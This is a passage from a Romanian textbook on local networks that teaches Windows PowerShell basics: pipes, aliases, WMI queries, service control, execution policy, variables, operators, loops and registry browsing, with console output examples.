PS C:\Users\Administrator> get-wmiobject Win32_NetworkAdapterConfiguration | get-member


TypeName:
System.Management.ManagementObject#root\cimv2\Win32_NetworkAdapterConfiguration

Name MemberType Definition
---- ---------- ----------
DisableIPSec Method System.Management...
EnableDHCP Method System.Management...
EnableIPSec Method System.Management...
EnableStatic Method System.Management...
ReleaseDHCPLease Method System.Management...
DefaultTOS Property System.Byte DefaultTOS {get;set;}
DefaultTTL Property System.Byte DefaultTTL {get;set;}
Description Property System.String Description {get;set;}
DHCPEnabled Property System.Boolean DHCPEnabled {get;set;}
DHCPLeaseExpires Property System.String DHCPLeaseExpires {get;set;}
DHCPLeaseObtained Property System.String DHCPLeaseObtained {get;set;}
DHCPServer Property System.String DHCPServer {get;set;}
DNSDomain Property System.String DNSDomain {get;set;}
[...]
0.3.2.8 nlnuirea comenzilor (pipes)
PowerShell permite nlnuirea mai multor comenzi prin folosirea operatorului pipe (|) cu
acelai efect ca i n UNIX: redirectarea ieirii unei comenzi spre intrarea alteia. Datorit
modului n care anumite comenzi accept date sau din considerente ale formatului dorit la
ieire, deseori sunt necesare prelucrari la nivel de iruri de caractere ntre dou comenzi ce
prelucreaz date sau nainte de afiarea rezultatului final.
n mod practic, ieirile i intrrile comenzilor sunt tratate ca obiecte, astfel c o comand
ce primete ca intrare rezultatul alteia poate aciona direct asupra proprietilor i metodelor
sale fr conversii suplimentare. De asemenea, utilizatorul poate adresa proprieti i metode
direct dup nume, nefiind necesar filtrarea rezultatului pentru selectarea datelor dorite, ca n
cazul UNIX-ului i a utilitarelor sed, awk, grep, cut, amd.
n exemplul urmtor, rezultatul unei comenzi ipconfig este trimis comenzii findstr care
primete ca parametru irul de caractere de cutat. Rezultatul este identic cu al utilitarului
grep din UNIX, folosit n condiii similare:
PS C:\Users\Administrator> ipconfig | findstr "Address"
Link-local IPv6 Address . . . . . : fe80::a928:ea78:f920:ac15%10
IPv4 Address. . . . . . . . . . . : 141.85.37.193
Link-local IPv6 Address . . . . . : fe80::9dd5:cc72:ab31:8927%12
IPv4 Address. . . . . . . . . . . : 192.168.13.1
Link-local IPv6 Address . . . . . : fe80::525:fc37:994d:636f%14
IPv4 Address. . . . . . . . . . . : 192.168.216.1
IPv6 Address. . . . . . . . . . . : 2002:8d55:25c1::8d55:25c1
0-5: Folosirea operatorului "|" pentru filtrarea rezultatului unei comenzi
19 | C u p r i n s

0.3.2.9 Folosirea parametrilor
Parametrii in PowerShell sunt identificai prin caracterul -. Caracterele (/ sau \) ce
marcau parametrii n cmd.exe nu mai sunt folosite. La tastarea unui parametru se poate
introduce numele complet, dar este acceptat i dac se introduce un numr suficient de
caractere pentru a distinge parametrul de altele cu nume asemntoare. n exemplul urmtor,
cele dou comenzi sunt identice, irul det fiind suficient pentru a-l distinge de parametrul
Debug:
Get-Help Get-Date Detailed
Get-Help Get-Date det
n unele cazuri, introducerea numelor parametrilor este opional, fiind suficient
introducerea valorii lor. Spre exemplul, forma complet a comenzii Get-Help presupune
declararea numelui comenzii precedat de parametrul Name, ca n exemplul de mai jos. Totui,
parametrii pot fi folosii fr a li se specifica numele dac se respect cu strictee ordinea lor
din seciunea de sintax a paginii de ajutor:
Get-Help Name Get-Host
0.3.2.10 Interaciunea cu Windows PowerShell
n general, comenzile PowerShell nu sunt case-sensitive. Totui, pentru situaiile n care se
specific valori literale, ca n cazul n care se d ca parametru un ir de caractere de cutat,
capitalizarea corect poate avea importan.
Pentru a facilita interaciunea, PowerShell ofer opiunea de completare automat
contextual. Aceasta poate fi folosit prin apsarea tastei Tab att pentru numele comenzilor
ct i pentru parametrii lor, din momentul n care s-a introdus cel puin un caracter din
termenul de completat. Completarea automat realizeaz automat capitalizarea corect a
comenzilor.
Odat ce PowerShell a fost lansat, poate fi folosit n aceeai manier ca i interpretorul
cmd.exe. De exemplu, comanda dir listeaz coninutul unui director, cd schimb directorul
curent i pot fi folosite comenzi precum copy, move, del, amd. Aa cum s-a mai menionat i
n seciunea 0.3.2.6: Comenzi de ajutor n PowerShell, listarea comenzilor ncorporate n
PowerShell se poate face prin comanda Get-Command. Totui, PowerShell accept o serie mult
extins de comenzi prin faptul c implementeaz o multitudine de alias-uri de comenzi care
nlocuiesc una sau mai multe comenzi nlnuite, din considerente de uzabilitate, eficien n
compunerea comenzilor sau pentru a pstra similariti cu DOS i UNIX. Lista complet a
acestor comenzi poate fi obinut prin comanda help sau, indirect, prin comanda Get-Help *
care are drept efect listarea tuturor fiierelor de ajutor pentru comenzile corespunztoare
1
.
Aceasta asigur, intuitiv, faptul c toate comenzile, att ncorporate ct i aliasurile sunt
documentate.
Cteva dintre comenzile UNIX ce sunt implementate n PowerShell ca aliasuri includ: diff,
ps, ls, pwd, cat, etc.
Spre exemplu, aliasul ps are acelai efect ca i comanda Get-Process, ca n exemplul
urmtor:
PS C:\> ps

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
243 12 247672 257788 368 435.57 7344 AcroRd32
127 14 1796 2004 39 0.22 2544 alg

1
Un fapt interesant de remarcat este c la utilizarea comenzii help, rezultatul este afiat n stilul
utilitarului more, din UNIX: tasta Enter pentru linia urmtoare sau Space pentru ecranul urmtor.
20 | R e e l e L o c a l e

65 3 2172 796 38 0.12 2008 AppleMobileDeviceService
109 3 1216 968 36 0.14 988 Ati2evxx
133 4 1956 3460 51 79.33 1952 Ati2evxx
154 6 24324 16160 71 1572 audiodg
47 2 1120 472 49 0.11 3452 brs
187 10 8288 7732 102 33.62 1828 BTStackServer
[...]


PS C:\> Get-Proces

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
243 12 247672 257788 368 435.57 7344 AcroRd32
127 14 1796 2004 39 0.22 2544 alg
65 3 2172 796 38 0.12 2008 AppleMobileDeviceService
109 3 1216 968 36 0.14 988 Ati2evxx
133 4 1956 3460 51 79.33 1952 Ati2evxx
154 6 24324 16160 71 1572 audiodg
47 2 1120 472 49 0.11 3452 brs
187 10 8288 7732 102 33.62 1828 BTStackServer
[...]
0-6: ps (alias) i Get-Process (comand)
Pentru a demonstra c rezultatul aliasului este, de asemenea, de tip obiect, folosind
informaiile din acesta, se pot ordona procesele dup numr i exporta lista ntr-un fiier n
format HTML
1
:
PS C:\> ps | Sort-Object id | ConvertTo-Html > procese.html
PS C:\> ls procese.html


Directory: Microsoft.PowerShell.Core\FileSystem::C:\


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 8/1/2008 4:04 PM 198444 procese.html
PowerShell ofer comenzi i pentru interaciunea cu WMI (Windows Management
Instrumentation). Comanda de baz folosit pentru a obine obiecte prin WMI este Get-
WmiObject, cu alias-ul gwmi). Spre exemplu, obinerea de informaii despre BIOS-ul
sistemului se poate face facil prin comenzile Get-WmiObject -Class Win32_BIOS sau Get-
WmiObject -Class Win32_ComputerSystem.
PS C:\> Get-WmiObject -Class Win32_BIOS


SMBIOSBIOSVersion : A14
Manufacturer : Dell Inc.
Name : Phoenix ROM BIOS PLUS Version 1.10 A14
SerialNumber : 3YN0W2J
Version : DELL - 27d70402

PS C:\> Get-WmiObject -Class Win32_ComputerSystem


Domain : WORKGROUP
Manufacturer : Dell Inc.
Model : MM061
Name : WIN-8J4PG74KHA9
PrimaryOwnerName : Windows User
TotalPhysicalMemory : 2145083392
De asemenea, WMI poate fi folosit i pentru interaciunea cu procese sau servicii. Listarea
lor se face prin comenzile: Get-WmiObject win32_process, respectiv Get-WmiObject
win_32_service. Atenie, aceste comenzi au rezultate extrem de voluminoase, din moment
ce afieaz toate informaiile ce pot fi extrase din obiectele de tip proces, respectiv serviciu. O
soluie pentru reducerea cantitii de informaii afiate o reprezint fie aplicarea unui filtru, fie

1
Se observ apoi, la vizualizarea paginii HTML obinute, c n aceasta au fost incluse sub forma capetelor
de tabel toate datele despre procese ce sunt returnate de comanda ps / Get-Process, mai exact, 62 de
parametrii specifici fiecrui proces, n comparaie cu cei 8 care sunt afiai implicit n consol, ceea ce confirm
nc o dat natura de obiect a rezultatelor comenzilor PowerShell.
21 | C u p r i n s

specificarea doar a anumitor cmpuri ce vor fi afate, mpreun cu valorile lor. n urmtorul
exemplu sunt interogate doar anumite proprieti ale obiectului ce ncapsuleaz informaii
despre sistemul de operare curent, obinut prin WMI:
PS C:\> Get-WMIObject -class Win32_OperatingSystem -property csname, Caption, Version,
TotalVirtualMemorySize, FreeVirtualMemory


__GENUS : 2
__CLASS : Win32_OperatingSystem
[...]
__RELPATH : Win32_OperatingSystem=@
[...]
Caption : Microsoft Windows Server 2008 Standard
CSName : WIN-8J4PG74KHA9
FreeVirtualMemory : 2602080
TotalVirtualMemorySize : 4471252
Version : 6.0.6001
0-7: Selectarea explicit a anumitor cmpuri ale unui obiect returnat
n mod evident, interaciunea cu procese i servicii prin PowerShell i WMI nu se
reduce doar la afiarea de informaii. n exemplul urmtor se demonstreaz modul n care un
serviciu poate fi pornit, mpreun cu verificarea strii acestuia nainte i dup pornire:
1. Se caut un serviciu cu numele asemntor cu ipod:
PS C:\> Get-Service ipod*

Status Name DisplayName
------ ---- -----------
Running iPod Service iPod Service
2. Dup identificarea sa, i se interogheaz starea curent:
PS C:\> Get-WmiObject win32_service -filter "name='ipod service'"


ExitCode : 1077
Name : iPod Service
ProcessId : 0
StartMode : Manual
State : Stopped
Status : OK
3. Se observ c serviciul este oprit. Se folosete metoda StartService() din obiectul de tip
serviciu returnat prin WMI pentru a-l porni:
PS C:\> (Get-WmiObject win32_service -filter "name='ipod service'").StartService()


__GENUS : 2
__CLASS : __PARAMETERS
__SUPERCLASS :
__DYNASTY : __PARAMETERS
__RELPATH :
__PROPERTY_COUNT : 1
__DERIVATION : {}
__SERVER :
__NAMESPACE :
__PATH :
ReturnValue :
4. Se verific din nou starea serviciului i se observ c acesta ruleaz fr probleme:
PS C:\> Get-WmiObject win32_service -filter "name='ipod service'"


ExitCode : 0
Name : iPod Service
ProcessId : 904
StartMode : Manual
State : Running
Status : OK
Urmtorul exemplu se ncadreaz ntr-o categorie de utilizare mai exotic a comenzilor
ce se folosesc de WMI pentru a obine informaii. Folosind parametrul query, se poate
22 | R e e l e L o c a l e

specifica sursa din care se extrag datele, cmpurile de interes precum i ce filtre se vor aplica
acestora, ntr-un printr-o sintax SQL:
PS C:\> get-wmiobject -query "select * from win32_service where name='dhcp'"


ExitCode : 0
Name : Dhcp
ProcessId : 1008
StartMode : Auto
State : Running
Status : OK
0-8: Obinerea strii unui serviciu folosind PowerShell i WMI, printr-o comand SQL
Exist, bineneles, o multitudine de alte moduri n care PowerShell poate fi folosit,
scurtturi i excepii n utilizare, dar detalierea acestora ar putea crea subiectul unei cri de
sine stttoare, aadar acestea vor fi excluse dintre subiectele tratate n paginile de fa.
Totui, pentru a putea aplica PowerShell n utilizarea diverselor servicii ce vor fi detaliate n
capitolele urmtoare, e necesar aprofundarea la un nivel mediu a tehnicilor de scripting n
PowerShell.
0.3.2.11 Scripting n PowerShell
n mod normal, e de ateptat ca orice interpretor de comenzi s suporte, nativ sau nu,
posibilitatea de a rula scripturi. Posibilitatea de scripting a existat i n trecut, prin intermediul
lui cmd.exe, dar capabilitile lui PowerShell se ridic mult deasupra acestora. Totodat, prin
scripting se observ mult mai clar interdependena dintre PowerShell i platforma .NET,
folosindu-se convenii de denumire i o sintax mult asemntoarelor limbajelor bazate pe
.NET, precum C#.
0.3.2.11.1 Concepte de securitate n scripting
Posibilitatea de a automatiza i drepturile pe care le au n general scripturile de a
interaciona cu sistemul au creat dintotdeauna numeroase dificulti i au dat natere unui
mediu propice pentru apariia viruilor, viermilor i a aplicaiilor spyware. Cteva considerente
de securitate au fost implementate implicit n PowerShell tocmai pentru a adresa limitrile
impuse de aceste riscuri:
Scripturile PowerShell nu sunt inerent executabile. n Windows, aceasta nseamn c nu exist
o asociere implicit ntre PowerShell i scripturile sale care au extensia .ps1. Un dublu-clic pe
acest tip de fiier nu va cauza execuia sa, ci va fi deschis cu Notepad pentru a i se vizualiza
coninutul.
Singurele scripturi acceptate spre a fi rulate sunt cele semnate i autorizate prin colecia de
certificate a sistemului.
Pentru scripturile asupra crora exist dreptul de execuie, aceasta poate fi iniiat doar dac
se specific ntreaga cale a scriptului, pentru a evita instalarea de scripturi cu nume de comenzi
uzuale n anumite directoare (un echivalent al rootkit
1
-urilor de pe Linux).

Evident, aceste msuri nu sunt suficiente dar ofer un grad sporit de evitare a procedurilor
ce ar putea cauza daune sistemului. Drepturile care stabilesc regulile dup care scripturile sunt
sau nu executate sunt dictate de politica de execuie activ n sistem. Pentru a vedea care este
aceasta, se folosete comanda urmtoare:
PS C:\> Get-ExecutionPolicy
Restricted

1
http://en.wikipedia.org/wiki/Rootkit i http://www.rootkit.com
23 | C u p r i n s

n exemplul de mai sus, politica activ este cea de Restricted, care este i cea implicit. Valorile
posibile pe care politica de execuie a sistemului le poate avea sunt:
Restricted: implicit, nu accept execuia niciunui script
AllSigned: sunt acceptate spre execuie doar scripturile semnate
RemoteSigned: este permis execuia scripturilor locale; restul trebuie semnate
Unrestricted: toate scripturile pot fi executate

Politica minim necesar pentru a putea rula local scripturi nesemnate este
RemoteSigned. Modificarea politicii curente de execuie n RemoteSigned se face cu
urmtoarea comand:
PS C:\> Get-ExecutionPolicy
Restricted
PS C:\> Set-ExecutionPolicy RemoteSigned
PS C:\> Get-ExecutionPolicy
RemoteSigned
0.3.2.11.2 Exemplu: crearea primului script n PowerShell
Pentru a crea un script PowerShell, se creeaz un fiier text cu Notepad sau orice editor de
text i i se seteaz extensia ps1. Setarea unei alte extensii va avea ca efect, la rularea sa,
tentativa de a fi tratat de ctre Windows cu o aplicaie implicit ce accept extensia respectiv
i nu va fi executat de ctre PowerShell.
1. Se creeaz un fiier text cu urmtorul coninut:
$a = "Hello"
$b = "World!"
write-host $a
echo $b
2. Se salveaz cu extensia ps1. Pentru exemplu se va considera c se salveaz ca C:\test.ps1.
3. n PowerShell, se introduce urmtoarea comand i se primete rezultatul
1
:
PS C:\> PowerShell c:\test.ps1
Hello
World!
0.3.2.11.3 Variabile
Conceptul de variabil se ntlnete n aproape orice limbaj de programare sau de
scripting. n esen, reprezint o zon de memorie adresabil printr-un nume dat de
programator care poate s stocheze date ce vor fi folosite la un moment ulterior. n
PowerShell pot fi definite variabile, dar numele acestora trebuie s nceapa cu semnul dolar
($). Numele variabilelor pot conine caractere alfanumerice (litere i cifre) i alte cteva
simboluri. Se pot introduce chiar i spaii n numele variabilelor, cu condiia ca numele s fie
cuprinse ntre paranteze acolade {}.
Urmtoarele exemple reprezint initializri valide de variabile:
$name = "Nicoleta"
$pi = 3.14
${variabila cu spatii} = "atentie la paranteze!"
Atribuirea variabilelor cu o valoare se putea face i n trecut, prin intermediul lui cmd.exe
i al comenzii SET, cu diferena c acesta din urm nu suporta denumirea variabilelor folosind
spaii.
Dup cum se observ, nu s-a specificat nicieri tipul datelor ce sunt stocate n variabile.
Acest lucru poate crea uneori probleme n scripturi complexe, de aceea PowerShell ofer i
posibilitatea de a defini variabile cu tip. Cu alte cuvinte, PowerShell poate fi informat despre

1
echo este un alias pentru comanda Write-Output.
24 | R e e l e L o c a l e

tipul datelor ce vor fi reinute n variabila respectiv, ceea ce reprezint i o practic
recomandat. Fie, spre exemplu, codul urmtor:
$a = 5
write-host $a + 3
n secvena anterioar s-a atribuit valoarea 5 variabilei $a, dup care s-a afiat n consol
rezultatul expresiei $a + 3. Dup cum e de ateptat, se va afia 8.
Dar dac se ia n considerare exemplul urmtor:
$a = 7
$s = "un sir de caractere"
cod nesemnificativ
$a = "Nicoleta"
n continuare, cod nesemnificativ
write-host ($a + 7)
Codul de mai sus definete variabila $a cu valoarea 7 i variabila $s cu irul de caractere
Nicoleta. Presupunnd c atribuirea s-a fcut n mod eronat ntre variabila $a i irul
Nicoleta, rezultatul afiat n urma expresiei de pe ultima linie va consta n concatenarea
celor dou elemente ca iruri de caractere, rezultnd Nicoleta7. Aceast problem poate fi
uor evitat prin stabilirea tipurilor de date stocate n fiecare variabil, mpiedicnd operaia
de atribuire dintre o variabil definit ca ntreg (integer) i un ir de caractere (string), ca n
exemplul urmtor, rescris:
[int]$a = 7
[string]$s = "un sir de caractere"
cod nesemnificativ
$a = "Nicoleta"
n continuare, cod nesemnificativ
write-host ($a + 7)
Stabilirea tipurilor variabilelor se face prefixndu-le numele cu un identificator ce descrie
un tip de date, n exemplul de mai sus, [int] i [string]. Rularea exemplului de mai sus va
cauza o eroare, ce va anuna faptul c membrul drept al atribuirii $a = Nicoleta nu se
afl n formatul corespunztor.
Cele mai comune tipuri de variabile utilizabile n PowerShell sunt urmtoarele
1
:
[boolean] Adevrat sau fals.
[int] Numere ntregi pe 32 de bii.
[char] Un singur caracter.
[string] ir de caractere.
[single] Numr zecimal, simpl precizie.
[double] Numr zecimal, dubl precizie.
[datetime] Data, ora.
[adsi] Obiect de tip Active Directory Service Interface
2
(ASDI)
[wmi] Instan sau colecie WMI
[wmiclass] Clas WMI

Vectorii n PowerShell se definesc extrem de uor, ca n exemplul de cod urmtor:
$PS C:\> $vec = 4,8,15,16
PS C:\> Write-Host $vec
4 8 15 16
Pentru referirea la elementele unui vector, se folosete adresarea indexat, innd cont c
indecii elementelor dintr-un vector ncep de la 0 (zero), ca n majoritatea limbajelor de
programare i scripting: $vec[4], $vec[0], etc.

1
Exist i variabila predefinit $NULL. Orice variabil neiniializat (neutilizat) are coninutul egal cu
$NULL.
2
Mai multe despre ASDI: http://msdn.microsoft.com/en-us/library/aa772170.aspx
25 | C u p r i n s

Adugarea de noi elemente ntr-un vector se face tot prin intermediul operatorului +
1
:
PS C:\> $vec = $vec + 23, 48
PS C:\> Write-Host $vec
4 8 15 16 23 48
0.3.2.11.4 Expresii condiionale
Ca n orice limbaj de programare sau de scripting, flexibilitatea sa st n posibilitatea de a
decide ramurile ce vor fi executate n funcie de valorilor anumitor variabile. n fond, condiia
este ceea ce st la baza scripturilor i le difereniaz de o simpl nlnuire inalterabil de
comenzi care se execut ntotdeauna n aceeai ordine.
Exemplul urmtor ar trebui s poat fi deja urmrit fr prea multe explicaii
suplimentare:
$a = 2
if ($a -eq 1)
{
write-host "unu"
}
elseif ($a -eq 2)
{
write-host "doi"
}
else
{
write-host "diferit de unu sau doi"
}
Fragmentul de script de mai sus verific valoarea atribuit variabilei $a. Dac aceasta este
1 (numeric) va afia unu, daca este 2 va afia doi i pentru orice alt valoarea (inclusiv
valori non-numerice i alte tipuri) va afia diferit de unu sau doi
2
.
Dup cum se observ, singurul element relativ nou introdus este operatorul de egalitate
folosit n interiorul if-ului: eq. Exist o serie de ali operatori de comparaie ce pot fi folosii n
PowerShell, fiecare dintre acetia fiind descrii printr-o cratim (-) urmat de o abreviere de
dou litere a funciei numerice pe care acesta o ndeplinete precum i alte forme pentru
diferite tipuri de date. Lista este urmtoarea:
-eq Egalitate
-ne Inegalitate
-lt Mai mic
-le Mai mic sau egal
-gt Mai mare
-ge Mai mare sau egal
-contains Determin apartenena la un grup, retuneaz ntotdeauna [boolean]True sau
[boolean]False
-notcontains Determin neapartenena la un grup, retuneaz ntotdeauna
[boolean]$True sau [boolean]$False
-match Consisten la compararea prin expresii regulate
-notmatch Inconsisten la compararea prin expresii regulate
-like Consisten la compararea cu wildcard-uri
-notlike Inconsisten la compararea cu wildcard-uri
-band I binar
-bor SAU binar
-bnot negaie binar
-is Este de tipul (ex: $x is [int])
-isnot Nu este de tipul (ex: $x isnot [single])

1
n general, expresiile de tipul $x = $x + y pot fi nlocuite prin expresia $x += y, ca i n limbajul C.
2
Paranteze acolade sunt obligatorii n toate situaiile, chiar dac ncadreaz o singur instruciune.
26 | R e e l e L o c a l e


n plus, PowerShell implementeaz variantele case sensitive ale unor comenzi prezentate
mai sus (-clt, -cgt, -cle, -cge, -ceq, -cne, -clike, -cnotlike, -ccontains, -
cnotcontains, -cmatch, -cnotmatch), precum i o serie de operatori speciali, pe lng cei
clasici, ca +, -, /, %, *, !:
-replace nlocuire (ex: abcde replace b, B)
-ireplace nlocuire case-insensitive
-as Convertire la alt tip (ex: 123 as [string] trateaz 123 ca ir de caractere)
.. Operator de interval (ex: foreach ($i in 1..10) {$i} afieaz numerele de la 1 la
10)
& Operator de apel (ex: $a = Get-ChildItem &$a va executa Get-ChildItem)
-F Operator de formatare (ex: foreach($p in Get-Process) {"{0,-15} has {1,6}
handles" F $p.processname,$p.Handlecount} are ca efect afiarea liste de procese
n formatul <nume_proces> has <x> handles)

n PowerShell se poate folosi i o construcie de tipul switch-case, cu o sintax mai simpl
dect n C:
$culoare = "rosu"
switch ($culoare)
{
rosu {write-host "culoarea rosie"; break}
verde {write-host "culoarea verde"; break}
albastru {write-host "culoarea albastra"; break}
galben {write-host "culoarea galbena"; break}
}
0.3.2.11.5 Instruciuni de ciclare
n PowerShell exist 4 moduri n care se pot defini ciclurile (repetiiile): for, foreach,
while i do..while.
Ciclul for are exact aceeai sintax ca i n limbajul C, spre exemplu:
for(<iniializri>;<condiie>;<repetare>)
{
<instruciuni>
}
Urmtorul cod afieaz numerele de la 1 la 100:
for($i=1;$i -lt 101;$i++)
{
write-host $i
}
Ca i n C, seciunea de <iniializri> se execut doar o dat, la prima iteraie,
seciunea de <condiie> este verificat dup fiecare iteraie, iar seciunea de <repetare>
este executat la finalul fiecrei iteraii. Se observ posibilitatea utilizrii operatorului ++.
Spre deosebire de instructiunea for, instruciunea foreach este conceput astfel nct
primind o colecie de obiecte, va executa o seciune de cod pentru (for) fiecare (each) dintre
elementele din colecie (de unde i numele). Sintaxa general este urmtoarea:
foreach ($<element> in $<colecie_de_elemente>)
{
<instruciuni>
}
Urmtorul exemplu folosete instruciunea foreach pentru a afia numele tuturor
fiierelor din directorul C:\Windows\System32:
foreach ($file in Get-ChildItem C:\Windows\System32)
{
write-host $file
}
27 | C u p r i n s

Din nou similar cu C, sintaxa unei construcii de tip While este urmtoarea:
while(<condiie>)
{
<instruciuni>
}
Sintaxa lui Do..While este, de asemenea, similar cu C, cu excepia semnului punct i
virgul de dup While, care n PowerShell lipsete
1
:
do
{
write-host $a
$a++
} while ($a -lt 10)
De asemenea, n construciile de tip repetiie pot fi folosite i instruciunile break i
continue, cu efectele binecunoscute.
0.3.2.12 Aplicaii PowerShell
Dup enumerarea unei bune pri a capabilitilor de scripting ale lui PowerShell, pot fi
analizate o serie de exemple de utilizare mai complexe, folosind structurile studiate mai sus.
Fie urmtoarea secven de script:
Get-Service | ForEach {if ($_.Status -eq "Running") {write-host $_.DisplayName}}
Secvena de mai sus returneaz numele ntreg (nu al executabilului, ci descrierea) al
tuturor serviciilor ce ruleaz n sistem.
O serie de construcii noi prezentate aici necesit explicare. n primul rnd, Get-Service
returneaz lista obiectelor serviciilor din sistem. Rezultatul obinut din acesta este trimis ca
intrare prin operatorul pipe (|) ciclului foreach. Din moment ce Get-Service returneaz o
colecie de obiecte de tip serviciu, acest tip de rezultat este perfect pentru se itera prin
elementele sale folosind foreach. Folosind instruciunea if se verific dac starea fiecrui
serviciu este Running i, n caz afirmativ, i se afieaz numele complet.
n interiorul instruciunii if se remarc dou elemente noi: notaia $_ i . (punctul).
Variabila $_ reprezint o variabil de sistem definit automat. n interiorul unui pipe, ea reine
elementul curent din fluxul trecut prin acel pipe (elementul curent din pipeline). n exemplul
de fa, la fiecare iteraie a repetiiei, $_ va referenia pe rnd fiecare obiect de tip serviciu din
colecia returnat de Get-Service. Notaia . reprezint referirea la un membru al unui
obiect (ca n Java sau n structurile C). Fiecare obiect are un set de proprieti; spre exemplu,
un obiect de tip serviciu deine proprieti ca status, name i displayname, printre multe
altele. Accesarea unei astfel de proprieti se face prin operatorul punct astfel:
.<nume_proprietate>.
La fel ca i $_, exist i alte variabile definite automat n sistem:
$_ Conine obiectul curent din pipe.
$? Conine valoarea True dac ultima operaie s-a ncheiat cu succes i False altfel.
$Home Directorul utilizatorului curent, echivalentul concatenrii variabilelor de mediu
%homedrive% i %homepath%
$LASTEXITCODE Codul de ieire al ultimei execuii
$PsHome Directorul de instalare a PowerShell
$Host Conine informaii despre mediul n care ruleaz consola curent
Fie exemplul urmtor:

1
n exemplul do..while nu este artat valoarea cu care este iniializat variabila $a. Implicit,
valoarea acesteia este $NULL. Exist anumite optimizri pentru lucrul cu aceast valoare, ca spre exemplu $a++,
n condiiile n care $a este $NULL, va returna valoarea 1, dar nu este recomandabil lucrul cu variabile
neiniializate.
28 | R e e l e L o c a l e

Get-ChildItem D:\Logs\* -include *.txt |
foreach {move-item $_ ($_ replace(".txt",".bak"))}
Codul de mai sus obine o list a tuturor fiierelor cu extensia .txt din directorul
D:\Logs\ i o trimite unui ciclu foreach care itereaz pe fiecare element i ruleaz comanda
move-item cu doi parametri: primul ramne numele fiierului primit din pipe iar al doilea
reprezint tot numele fiierului curent, dar cu extensia .txt substituit n .bak. Cu alte
cuvinte, comanda redenumete toate fiierele text din D:\Logs\ schimbndu-le extensia .txt
n .bak.
0.3.2.13 PowerShell i Windows Registry
Modificarea configuraiei din Windows Registry poate fi deseori o sarcin a unui
administrator. Deseori, pentru efectuarea de modificri n Registry se folosete utilitarul
regedit.exe sau, n cazul scripturilor (non-PowerShell), se poate folosi i utilitarul n linie de
comand reg.exe. Totui interaciunea cu Windows Registry se poate face facil i prin
PowerShell deoarece acesta trateaz Registry-ul ca pe un sistem de fiiere (lucru intuitiv,
innd cont ca are o organizare arborescent).
Una dintre cele mai des accesate chei din Registry este cheia Run, care stocheaz cile
spre executabilele ce sunt lansate automat la pornirea sistemului
1
. Pentru a naviga spre
aceasta se execut comenzile:
PS C:\Users\Administrator> cd HKLM:
PS HKLM:\> cd SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Dup cum se observ, Windows Registry este considerat ca fiind o unitate (un drive)
separat, numit HKLM (Hive Key Local Machine). Registry-ul este mprit n mai multe zone
logice, denumite hive-uri, ce poart denumirile din Windows API
2
i prescurtri ca HKLM
(...Local Machine), HKCU (...Current User), HKCR (...Classes Root), HKU (...Users), etc.
Cu toate c Registry-ul este tratat ca un arbore, tentativa de a afia coninutul cheii Run
printr-un simplu dir va returna doar rezultatul urmtor:
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run> dir


Hive:
Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio
n\Run

SKC VC Name Property
--- -- ---- --------
3 1 OptionalComponents {(default)}
Acest lucru se ntmpl deoarece doar cheile sunt considerate obiecte, valorile lor fiind
tratate ca proprieti. Aadar, pentru obinerea valorii unei chei se poate folosi comanda Get-
ItemProperty, eventual cu parametrul ., adic directorul curent, pentru a afia toate
valorile cheilor din locaia curent:
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run> Get-ItemProperty .

[...]
PSChildName : Run
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
IntelliPoint : "C:\Program Files\Microsoft IntelliPoint\ipoint.exe"
SigmatelSysTrayApp : sttray.exe
Windows Defender : C:\Program Files\Windows Defender\MSASCui.exe -hide
SynTPEnh : C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
vmware-tray : C:\Program Files\VMware\VMware Workstation\vmware-tray.exe

1
Este vorba despre cheia Run din HKEY_LOCAL_MACHINE. Excepia o reprezint cheia Run din
HKEY_CURRENT_USER care specific executabilele ce vor fi rulate doar cnd utilizatorul se autentific n
sistemul de operare.
2
http://msdn.microsoft.com
29 | C u p r i n s

VMware hqtray : "C:\Program Files\VMware\VMware Workstation\hqtray.exe"
googletalk : C:\Program Files\Google\Google Talk\googletalk.exe /autostart
GrooveMonitor : "C:\Program Files\MicrosoftOffice\Office12\GrooveMonitor.exe"
Broadcom Wireless Manager UI : C:\Windows\system32\WLTRAY.exe
SunJavaUpdateSched : "C:\Program Files\Java\jre1.6.0_06\bin\jusched.exe"
0-9: Rezultatul afirii cheii Run folosind PowerShell
n exemplele anterioare s-a lucrat direct n interiorul hive-ului HKLM. Pentru a schimba
locaia curent n unul dintre celelalte hive-uri, este necesar nti conectarea la PowerShell
Registry Provider, un fel de rdcin a Registry-ului conceput special pentru PowerShell i
denumit REGISTRY::, ca n exemplul urmtor:
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run> cd registry::
PS Microsoft.PowerShell.Core\Registry::> ls


Hive:

SKC VC Name Property
--- -- ---- --------
7 0 HKEY_LOCAL_MACHINE {}
14 0 HKEY_CURRENT_USER {}
373 0 HKEY_CLASSES_ROOT {}
2 0 HKEY_CURRENT_CONFIG {}
0 2 HKEY_PERFORMANCE_DATA {Global, Costly}
6 0 HKEY_USERS {}
0-10: Hive-urile Registry-ului vzute prin intermediul PowerShell Registry Provider
Un exemplu de utilizare al celorlaltor hive-uri este urmtoarea secven de cod care
afieaz aplicaia asociat cu tratarea unei anumite extensii, n exemplul de mai jos, .mp3:
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run> cd registry::
PS Microsoft.PowerShell.Core\Registry::> cd HKEY_CLASSES_ROOT\.mp3
PS Microsoft.PowerShell.Core\Registry::HKEY_CLASSES_ROOT\.mp3> Get-ItemProperty .

[...]
PerceivedType : audio
(default) : Winamp.File.MP3
Content Type : audio/mpeg
Winamp_Back : WMP11.AssocFile.MP3
0-11: Afiarea aplicaiei care trateaz o anumit extensie
0.3.2.14 Ora i data
Calcularea de intervale de timp, selecia fiierelor pe baza unui interval, ordonarea
cronologic, precum i multe alte utilizri ale informaiilor legate de timp sunt deseori utile n
scripturile folosite de administratorii de sistem.
Principala comand PowerShell pentru aflarea timpului este Get-Date
1
:
PS C:\Users\Administrator> Get-Date

